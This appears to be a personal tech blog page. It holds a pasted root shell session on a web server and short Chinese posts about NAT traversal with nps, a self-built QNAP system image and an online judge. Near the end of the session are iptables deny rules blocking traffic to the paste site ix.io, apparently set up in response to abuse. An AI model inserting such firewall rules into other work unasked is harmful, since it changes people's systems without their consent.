/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100100.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100200.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100300.php                                                                                                                                                                                                                                                      /www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionPr                                                                                                                                                                                                                                                   ovider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php                                                                                                                                                                                                                                                        /www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php                                                                                                                                                                                                                                                   /www/wwwroot/openwrt.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandler                                                                                                                                                                                                                                                   Test.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php                                                                                                                                                                                                                                                           /www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionProvid                                                                                                                                                                                                                                                   er.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php
/www/wwwroot/www.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandlerTest                                                                                                                                                                                                                                                   .php
root@gaSRHj203877:/etc/init.d# locate DbSecurity
root@gaSRHj203877:/etc/init.d# cd ..
root@gaSRHj203877:/etc# ls
acpi                           environment      libnl-3            pam.conf                 sgml
adduser.conf                   fonts            libpaper.d         pam.d                    shadow
aliases                        fstab            lighttpd           papersize                shadow-
alternatives                   fstab.bak        locale.alias       passwd                   shells
apache2                        fuse.conf        locale.gen         passwd-                  skel
apm                            gai.conf         localtime          perl                     s-nail.rc
apparmor                       ghostscript      logcheck           pki                      sos.conf
apparmor.d                     groff            login.defs         pm                       ssh
apt                            group            logrotate.conf     polkit-1                 ssl
at.deny                        group-           logrotate.d        popularity-contest.conf  subgid
bash.bashrc                    grub.d           lsb-release        ppp                      subgid-
bash_completion                gshadow          ltrace.conf        profile                  subuid
bash_completion.d              gshadow-         machine-id         profile.d                subuid-
bindresvport.blacklist         gss              magic              protocols                sudoers
binfmt.d                       hdparm.conf      magic.mime         python                   sudoers.d
bt_lib.lock                    host.conf        mail               python2.7                sysctl.conf
byobu                          hostname         mailcap            python3                  sysctl.conf.dpkg-old                                                                                                                                                                                                                                                           ca-certificates                hosts            mailcap.order      python3.5                sysctl.d
ca-certificates.conf           hosts.allow      manpath.config     python3.6                sysstat
ca-certificates.conf.dpkg-old  hosts.deny       mime.types         rc0.d                    systemd
calendar                       ImageMagick-6    mke2fs.conf        rc1.d                    terminfo
console-setup                  init             modprobe.d         rc2.d                    thermald
containerd                     init.d           modules            rc3.d                    timezone
cron.d                         initramfs-tools  modules-load.d     rc4.d                    tmpfiles.d
cron.daily                     inputrc          motd               rc5.d                    ucf.conf
cron.hourly                    insserv          mtab               rc6.d                    udev
cron.monthly                   insserv.conf     my.cnf             rc.local                 ufw
crontab                        insserv.conf.d   mysql              rcS.d                    updatedb.conf
cron.weekly                    iproute2         nanorc             resolvconf               update-manager
cryptsetup-initramfs           iscsi            netplan            resolv.conf              update-motd.d
crypttab                       issue            network            rmt                      update-notifier
dbus-1                         issue.net        NetworkManager     rpc                      vim
debconf.conf                   kernel           networks           rsyslog.conf             vmware-tools
debian_version                 kernel-img.conf  newt               rsyslog.d                vtrgb
default                        ldap             nscd.conf          screenrc                 wgetrc
deluser.conf                   ld.so.cache      nsswitch.conf      securetty                X11
depmod.d                       ld.so.conf       ntp.conf           security                 xdg
dhcp                           ld.so.conf.d     ntp.conf.dpkg-old  selinux                  xml
docker                         legal            opt                sensors3.conf            zlibc.conf
dpkg                           letsencrypt      os-release         sensors.d                zmap
emacs                          libaudit.conf    overlayroot.conf   services                 zsh_command_not_found                                                                                                                                                                                                                                                          root@gaSRHj203877:/etc# cd r
rc0.d/      rc2.d/      rc4.d/      rc6.d/      resolvconf/
rc1.d/      rc3.d/      rc5.d/      rcS.d/      rsyslog.d/
root@gaSRHj203877:/etc# cd rc1.d/
root@gaSRHj203877:/etc/rc1.d# ld
ld: no input files
root@gaSRHj203877:/etc/rc1.d# ls
K01bt         K01redis     K02docker      K02nscd        K02open-vm-tools  K02thermald  K03iscsid   S02killprocs
K01nginx      K02arp-bind  K02irqbalance  K02ntp         K02php-fpm-72     K02ufw       K05rsyslog  S05single
K01pure-ftpd  K02atd       K02mysql       K02open-iscsi  K02sendmail       K02uuidd     README
root@gaSRHj203877:/etc/rc1.d# firewa;;-cmd --list-ports
-su: syntax error near unexpected token `;;'
root@gaSRHj203877:/etc/rc1.d# firewall-cmd --list-ports

Command 'firewall-cmd' not found, but can be installed with:

apt install firewalld

root@gaSRHj203877:/etc/rc1.d# apt install firewalld
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package firewalld
root@gaSRHj203877:/etc/rc1.d# ping https://lannis.cn/
ping: https://lannis.cn/: Name or service not known
root@gaSRHj203877:/etc/rc1.d# ping lannis.cn
PING lannis.cn (139.159.232.87) 56(84) bytes of data.
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=1 ttl=54 time=2.45 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=2 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=3 ttl=54 time=2.08 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=4 ttl=54 time=2.04 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=5 ttl=54 time=2.19 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=6 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=7 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=8 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=9 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=10 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=11 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=12 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=13 ttl=54 time=2.13 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=14 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=15 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=16 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=17 ttl=54 time=2.08 ms
^C
--- lannis.cn ping statistics ---
17 packets transmitted, 17 received, 0% packet loss, time 16017ms
rtt min/avg/max/mdev = 2.048/2.138/2.450/0.103 ms
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# cat /etc/
Display all 206 possibilities? (y or n)
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts
hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.allow

root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

root@gaSRHj203877:/etc/rc1.d# nano /etc/hosts.deny
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/1K8E -j DROP
iptables v1.6.1: invalid mask `1K8E' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/ -j DROP
iptables v1.6.1: invalid mask `' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s ix.io -j DROP
root@gaSRHj203877:/etc/rc1.d# -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
-I: command not found
root@gaSRHj203877:/etc/rc1.d# iptables -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# C

内网穿透的另一种打开方式

背景:在学校里有个路由器,路由器下的二级路由资源无法被学校内网访问。

目标:路由器192.168.8.1\24网段ping通学校内网10.20.81.83在寝室的主机。

细节:1.有时两者ping不通。原因是学校交换机allocate的网段不一致。2.学校allocate的ip地址是动态的。

解决方法一:内网穿透到victoryang00.xyz,速度<1m/s

解决方法二:dns污染学校服务器。或者两台机子都用自己搭的dns服务器。没那个技术。

解决方法三:192.168.8.1开npc服务器,接收端开nps服务器。速度>30m/s

总结,在任何机子上都可以开nps内网穿透。

最后 推荐个全局dns都能代理,简直了。vpn可以下线系列 proxifier。不过这软件udp没做,smb、rdp就不要想了。不过tcp的速度贼快。关键不用再挂一个路由了。

在经历了那么多,觉得还是路由器最靠谱,arm软路由不稳定,到头来还是得x86上。可是,如果上了x86,那又和unraid没有竞争力了。J1900成为一代神U是有道理的。接下来就等amd发力了。

最后的最后 我知道为什么宋老师说真机快了,虽然排除极端比较,就相差个200%性能的exsi跑lede和lede就有很大区别。科科。

搞了个黑威联通

自编译了一套威联通系统,参考老骥伏枥

机器 4570 16GB 2T*4 1066 大概13年给家里买的台式(主要是给我打QQ三国和三国无双,结果我爸为了不让我玩后者就没给我买显卡。大学以后才购入的1066跑渲染、剪视频和炼丹,做了1年主力机后和15底年的macbook air一起退役。

编译好的文件在 https://www.asplos.dev/vQTS-Boot.img 和 https://www.asplos.dev/TS653B20180528.img

2022.1.29 update 那台机器后来弄成了我的gitlab CI,先后支撑了我的CG CI,春东课sniper CI,还有自娱自乐训练的一些东西,于2021.5.16 宕机 被前前后后拆了垃圾装又被Logan拿了盘去给他的nas,1066送给了murez。

有了自己的第一个oj


基本上都是用别人的轮子https://docs.onlinejudge.me/#/onlinejudge/guide/test_case
总算是比我们张龙文小朋友搭的oj.geekpie.club好用,不过他那个用gauth和django就得学一会儿了。
废话不多说,上代码https://www.zhihu.com/question/23067497
只能说别人的太过牛逼